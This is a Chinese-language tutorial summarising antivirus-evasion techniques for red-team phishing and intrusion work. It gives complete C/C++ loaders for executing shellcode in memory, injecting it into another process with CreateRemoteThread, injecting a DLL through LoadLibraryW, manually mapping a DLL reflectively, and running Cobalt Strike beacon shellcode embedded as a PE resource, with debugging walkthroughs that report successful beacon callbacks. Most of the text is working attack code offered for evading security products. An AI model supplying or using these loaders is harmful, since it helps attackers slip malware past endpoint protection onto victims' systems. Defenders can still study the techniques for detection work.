关于免杀的技术总结(-)

​ 在钓鱼或者渗透的过程中,如果我们不会免杀,使用Cobaltstrike生成的exe可能直接就被干掉了,还会触发目标的告警,导致之前的工作前功尽弃,因此在往更高阶的攻防对抗中,免杀能力是必不可少的能力,不是说每个人都必须掌握这种能力,但是如果一个团队中,一个会免杀的人都没有,那就很僵了。

​ 回到正题,本片文章并不会讲到免杀方法可能很多已经都不可用了,之所以写这篇总结文章,是希望大家能对免杀的方法能有一个系统的认知。

远程线程调用

​ 要讲远程线程调用,我们首先看一下本地的调用,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
#include "stdafx.h"
#include "Windows.h"

int main()
{
unsigned char shellcode[] ="shellcode";
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();

return 0;
}

​ 上面的代码中用到了几个函数,我大致讲一下:

VirtualAlloc

​ VirtualAlloc函数通常可以用来分配大块的指定大小的内存,它包含如下参数

1
2
3
4
参数一:要分配的内存区域的地址
参数二:要分配的大小
参数三:要分配的类型 当使用MEM_COMMIT时,代表分配物理内存,并初始化为0,
参数四:内存的初始保护属性 当设置为PAGE_EXECUTE时,代表这个区域的代码可执行,但不可读写。

​ 也就是当我们执行VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE)时,就会给我们分配大小为sizeof shellcode大小的内存块,并且初始化为0,并且该内存具有执行权限。

​ 我做了一个测试,下面执行后我们分配的地址是0x009e0000

image-20201109204919240

​ 我们查看这个地址,可以看到这个地址确实被分配了一大块的内存,并且内容为空。

image-20201109205007124

memcpy

​ memcpy用来从str2中赋值n个字节数据到str1中。其中str1和str2的类型为指针类型。

1
void *memcpy(void *str1, const void *str2, size_t n)

​ 知道了这个以后,我们就可以知道,当执行memcpy(exec, shellcode, sizeof shellcode) 时,会将长度为sizeof shellcode内容为shellcode的内容复制到exec这个指针所指的位置。

​ shellcode指针指向的地址为0x005cfadc,地址内容如下:

image-20201109205508511

​ 当执行完memcpy后,我们可以看到,将0x005cfadc内存中的部分数据拷贝到了0x009e0000内存中。

image-20201109205618924

​ 最后我们再看下((void(*)())exec)()大致的意思是将exec这个指针强制转换为函数指针,然后调用这个函数,最终我们的代码得到了执行。

​ 我们再来看一下远程线程注入的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include "Windows.h"

int main(int argc, char* argv[])
{
unsigned char shellcode[] ="shellcode";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return 0;
}

​ 在上面的代码中,同样调用了几个windows函数,想要理解上面的代码做了什么,首先需要了解这几个windows 函数的功能。

OpenProcess

​ OpenProcess用来打开一个已经存在的进程对象,并返回进程的句柄,这个函数的原型如下

1
2
3
4
5
HANDLE OpenProcess(
DWORD dwDesiredAccess, //访问权限(标志)
BOOL bInheritHandle, // 是否继承句柄
DWORD dwProcessId// 进程标示符
);

dwDesiredAccess代表获取的访问权限,PROCESS_ALL_ACCESS代表获取所有权限。bInheritHandle代表是否继承句柄为boolean类型,dwProcessId代表进程的id。penProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])))的意思就是获取进程id为argv[1]的进程对象的所有的权限,并返回进程的句柄。

VirtualAllocEx

​ 通过这个函数,我们可以在我们获取的进程对象中分配内存。

1
2
3
4
5
6
7
LPVOID VirtualAllocEx(
HANDLE hProcess,//我们想要分配内存的进程
LPVOID lpAddress,//受害者进程内存中指定地址的指针
SIZE_T dwSize,//分配的内存区域的大小
DWORD flAllocationType,//指定要分配的内存类型
DWORD flProtect//它指定分配的内存保护,我们将其设置为PAGE_EXECUTE_READWRITE。
);

​ 通过执行VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE),我们可以在processHandle指向的进程中分配一块内存,并且设置内存为可执行权限,当函数执行成功,则返回分配内存的首地址,不成功则返回null。当我们执行完内存分配后remoteBuffer中会有一个地址,但是这个地址并不是我们当前进程的地址,而是notepad的地址。

image-20201110105814469

​ 我们使用hxd来查看这个地址的内容

image-20201110105919797

WriteProcessMemory

WriteProcessMemory是一个将数据写入指定进程的内存区域的函数。需要注意的是整个内存区域必须是可写的,否则会失败。

1
2
3
4
5
6
7
BOOL WriteProcessMemory(
HANDLE hProcess,//我们想要写入数据的进程
LPVOID lpBaseAddress,//我们想要写入数据的地址
LPCVOID lpBuffer,//指向必须写入的数据的指针
SIZE_T nSize,//写入的数据量
SIZE_T *lpNumberOfBytesWritten//指向SIZE_T的指针,它将存储写入该目标的字节数。
);

​ 按照上面的理解,当我们执行完WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL)后,会在processHandle进程中开辟的空间remoteBuffer中写入大小为sizeof shellcode,内容为shellcode的数据。调用后成功将shellcode写入到notepad的内存中

image-20201110110155310

CreateRemoteThread

​ CreateRemoteThread在另一个进程的虚拟空间中创建一个线程。

1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
HANDLE hProcess,// 目标进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes,// 安全属性
SIZE_T dwStackSize, // 进程堆栈大小
LPTHREAD_START_ROUTINE lpStartAddress, // 进程函数
LPVOID lpParameter, // 进程参数
DWORD dwCreationFlags, // 创建标志
LPDWORD lpThreadId // 参数返回ID
);

​ 当执行下面的操作时,则会执行remoteBuffer指向的内容。

1
CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);

​ 最后调用CreateRemoteThread,成功上线,但是这里有一个问题,因为我们现在使用windows创建的notepad为64位,所以我们要编译的这个exe也应该是64位,否则调用CreateRemoteThread会返回0调用失败。

image-20201110110250322

image-20201110110331437

DLL注入

​ 首先给出DLL注入的代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int main(int argc, char* argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");

printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle);
return 0;
}

​ 通过查看上面的代码,我们可以看出上面的代码和远程线程调用的代码类似,不同的是将shellcode数组的地址转换为dll的路径。还有就是调用了GetProcAddress这个函数,我们先了解一下这个函数。

GetProcAddress

​ GetProcAddress是一个计算机函数,功能是检索指定的动态链接库(DLL)中的输出库函数地址。lpProcName参数能够识别DLL中的函数。

1
2
3
4
FARPROC GetProcAddress(
HMODULE hModule, // DLL模块句柄
LPCSTR lpProcName // 函数名
);

​ 然后我们再来理解一下GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)), “LoadLibraryW”);也就是获取LoadLibraryW函数的地址,LoadLibraryW函数的功能可以加载指定路径的DLL文件。之所以没有直接调用LoadLibraryW函数,是因为这个函数不能直接调用,只能查找这个函数名称所在的内存地址进行调用。

​ 所以使用DLL注入的过程大概是这样的

  • OpenProcess 找到我们想要注入进程的句柄,获取权限

  • VirtualAllocEx 分配内存,用来存放我们DLL的路径

  • WriteProcessMemory 将DLL的路径写入分配的内存

  • GetProcAddress 获取LoadLibraryW这个库函数的地址

  • CreateRemoteThread 使用LoadLibraryW加载DLL执行

    我们调试一下,看和我们分析的结果是否相同,首先在执行完VirtualAllocEx 会分配一块内存

image-20201110151824300

​ 我们使用HXD找到这块内存,看是否分配成功,如下所示:

image-20201110151807657

​ 再继续执行,WriteProcessMemory函数执行后,会再该内存写入我们DLL的地址

image-20201110151957686

​ 最后,当我们调用CreateRemoteThread后,成功上线。

image-20201110152028142

image-20201110152054110

反射DLL注入

​ 上面我们演示的DLL注入技术有一个很明显的缺陷,那就是必须让我们的DLL在目标的硬盘上,直接将我们恶意的DLL放到硬盘中,无疑加大了被查杀的风险,因此下来我们来了解一下不落地执行DLL的方法,那就是反射DLL注入技术,它允许我们从内存中向受害者进程注入DLL。

​ 我们先看一下简单的反射DLL的栗子,首先使用vs创建一个DLL项目,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include "stdafx.h"
#include "pch.h"
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
MessageBoxA(NULL, "注入成功!", "提示", MB_OK);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

​ 上面的代码内容比较简单,当调用这个DLL时,会弹出一个框提示注入成功,重点在下面的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#include "pch.h"
#include <iostream>
#include <Windows.h>

typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved);

int main()
{
// get this module's image base address
PVOID imageBase = GetModuleHandleA(NULL);

// load DLL into memory
HANDLE dll = CreateFileA("\\\\VBOXSVR\\Experiments\\MLLoader\\MLLoader\\x64\\Debug\\dll.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
DWORD64 dllSize = GetFileSize(dll, NULL);
LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
DWORD outSize = 0;
ReadFile(dll, dllBytes, dllSize, &outSize, NULL);

// get pointers to in-memory DLL headers
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew);
SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;

// allocate new memory space for the DLL. Try to allocate memory in the image's preferred base address, but don't stress if the memory is allocated elsewhere
//LPVOID dllBase = VirtualAlloc((LPVOID)0x000000191000000, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// get delta between this module's image base and the DLL that was read into memory
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

// copy over DLL image headers to the newly allocated space for the DLL
std::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);

// copy over DLL image sections to the newly allocated space for the DLL
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
section++;
}

// perform image base relocations
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
DWORD relocationsProcessed = 0;

while (relocationsProcessed < relocations.Size)
{
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

for (DWORD i = 0; i < relocationsCount; i++)
{
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

if (relocationEntries[i].Type == 0)
{
continue;
}

DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
DWORD_PTR addressToPatch = 0;
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
addressToPatch += deltaImageBase;
std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
}
}

// resolve import address table
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
LPCSTR libraryName = "";
HMODULE library = NULL;

while (importDescriptor->Name != NULL)
{
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
library = LoadLibraryA(libraryName);

if (library)
{
PIMAGE_THUNK_DATA thunk = NULL;
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);

while (thunk->u1.AddressOfData != NULL)
{
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
{
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
}
else
{
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
thunk->u1.Function = functionAddress;
}
++thunk;
}
}

importDescriptor++;
}

// execute the loaded DLL
DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);

CloseHandle(dll);
HeapFree(GetProcessHeap(), 0, dllBytes);

return 0;
}

​ 我们先看一下执行的结果把,如下所示:

image-20201110173735378

​ 也就是通过上面的代码,可以加载并运行我们的dll,了解了这个我们再来看一下代码实现的逻辑。

​ 首先,通过下面的代码声明两个结构体,并且声明了一个函数指针

1
2
3
4
5
6
7
8
9
10
11
typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;

using DLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved);

​ 下面使用 GetModuleHandleA(NULL)来返回进程的地址空间中的可执行文件的基地址,使用GetFileSize打开我们要加载的DLL文件,再调用在堆上分配大小为dllsize的内存空间,通过ReadFile将DLL文件中的内容写入到刚分配的堆地址空间中。

1
2
3
4
5
6
PVOID imageBase = GetModuleHandleA(NULL);
HANDLE dll = CreateFileA("C:\\Users\\admin\\source\\repos\\testDLl\\Debug\\testDLl.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
DWORD64 dllSize = GetFileSize(dll, NULL);
LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);
DWORD outSize = 0;
ReadFile(dll, dllBytes, dllSize, &outSize, NULL);

​ 我们调试一下这个程序,可以看到当运行完ReadFile后,确实将DLL的内容复制到了dllBytes指向的内存中。

image-20201110175404600

​ 好了,我们再看一下后面的代码,首先获取dosheaders,再通过dllbytes首地址+dosheaders->e_lfanew的值相加,得到pe头的地址。再通过取出OptionalHeader.SizeOfImage属性获取映像加载到内存后的大小 。

image-20201111095440475

1
2
3
PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes; 
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes + dosHeaders->e_lfanew);
SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;

​ 再使用VirtualAlloc分配一块基址为ntHeaders->OptionalHeader.ImageBase,大小为dllImageSize的内存,并且更改内存为可读写执行权限。

1
LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

​ 获取我们预期分配地址和实际分配地址的差值,并且将文件头部复制到分配的内存中。

1
2
3
DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

std::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);

image-20201111102159539

​ 下面的代码将区块表的内容拷贝到分配的内存中

1
2
3
4
5
6
7
8
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
{
LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)section->VirtualAddress);
LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes + (DWORD_PTR)section->PointerToRawData);
std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
section++;
}

​ 下面的代码用来修改pe的重定位表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)dllBase;
DWORD relocationsProcessed = 0;

while (relocationsProcessed < relocations.Size)
{
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

for (DWORD i = 0; i < relocationsCount; i++)
{
relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

if (relocationEntries[i].Type == 0)
{
continue;
}

DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
DWORD_PTR addressToPatch = 0;
ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
addressToPatch += deltaImageBase;
std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
}
}

​ 被注入的DLL可能还依赖于其他的DLL,因此我们还需要装载这些被依赖的DLL,并修改本DLL的引入表,使这些被引入的函数能正常运行。解析导入表,根据IMAGE_IMPORT_DESCRIPTOR中的NAME成员找到DLL的名称,根据名称装载被依赖的DLL,IMAGE_IMPORT_DESCRIPTOR的FirstThunk指向了DLL引入了哪些函数。通过GetProcAddress可以找到函数的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
LPCSTR libraryName = "";
HMODULE library = NULL;

while (importDescriptor->Name != NULL)
{
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
library = LoadLibraryA(libraryName);

if (library)
{
PIMAGE_THUNK_DATA thunk = NULL;
thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase + importDescriptor->FirstThunk);

while (thunk->u1.AddressOfData != NULL)
{
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
{
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
}
else
{
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
thunk->u1.Function = functionAddress;
}
++thunk;
}
}

importDescriptor++;
}

​ 通过AddressOfEntryPoint找到DLL文件的入口点,最终会执行dllmain函数

1
2
DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);

​ 由于个人windows基础能力有限,关于上面代码的分析参考恶意代码分析之反射型DLL注入peloader,最后我们再理一下这个过程

  • 在堆上分配一块内存,将DLL文件加载到内存
  • 将DLL文件头部放到分配的内存上
  • 将区块表的内容复制到内存
  • 修改重定向表和解析导入表
  • 调用DLL

从PE resource加载shellcode

​ 使用这种方式可以将shellcode放到资源文件中进行加载,具体操作过程如下:

首先生成一个stagerless的bin文件,我这里使用cobaltstrike来进行生成,生成以后将bin添加到资源文件中

image-20201111171204066

​ 选择导入资源,选择我们生成的bin文件,资源类型由我们自己命名

image-20201111175537339

​ 在头文件中可以看到我们加载的资源文件的标识符。

image-20201111175617208

​ 最后使用如下代码加载资源并进行解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include "resource.h"

int main()
{
// IDR_METERPRETER_BIN1 - is the resource ID - which contains ths shellcode
// METERPRETER_BIN is the resource type name we chose earlier when embedding the meterpreter.bin
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_BEACON1), L"METERPRETER_BIN");
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);

void* exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcodeResouceData, shellcodeSize);
((void(*)())exec)();

return 0;
}

​ 上面的代码首先通过FindResource找到我们想要加载的资源,通过LoadResource加载资源的内容,再通过VirtualAlloc分配一块内存,将资源复制到内存,通过函数指针的方式调用执行shellcode。

image-20201111180732544

​ 也可以将DLL加载到资源中执行,这个操作需要依赖sRDI

​ 首先生成一个dll文件,利用ConvertToShellcode.py将DLL文件转换为bin文件

image-20201111182017884

​ 在vs中将生成的beacon.bin文件放到资源中加载,我测试执行并没有成功,但是生成一个messagebox弹窗的dll转换为bin执行是可以的,原因未知。

image-20201111193353829